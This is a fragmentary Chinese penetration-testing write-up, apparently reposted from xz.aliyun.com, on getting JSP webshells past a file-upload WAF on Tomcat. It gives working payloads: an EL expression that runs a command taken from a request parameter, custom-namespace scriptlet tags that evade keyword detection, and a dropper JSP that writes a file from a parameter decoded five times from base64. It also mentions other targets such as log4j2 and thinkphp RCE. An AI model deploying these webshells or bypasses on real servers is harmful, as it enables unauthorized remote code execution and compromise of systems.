jsp
,jspx
会拦截,但是jspp
,jspxx
等不会拦截windows特性
绕过,常规的绕过手法例如末尾加点号
、::$DATA
均无法绕过正斜杠
可以绕过JSP标记
检测,这里参考了yzddmr6
师傅的两种 绕过方法:${}
标记:${Runtime.getRuntime().exec(request.getParameter("x"))}
jsp
的关键字<jsp:scriptlet>
替换成<自定义字符:scriptlet>
<jsp:scriptlet>
自然就会放行<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>
Tomcat
与Apache
不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin
作为根目录# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);
# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);
D:/tomcat8/webapps/declare/static/upload/test.jsp
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
log4j2
和jackson
的RCE,留着下次当靶场继续测试thinkphp5.0.23 RCE
、泛微8.0前台sql注入
的漏洞,但都有这个waf,实在没有耐心一个个fuzz作者:John
原文地址:https://xz.aliyun.com/t/11337
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.
如有侵权,请联系删除
推荐阅读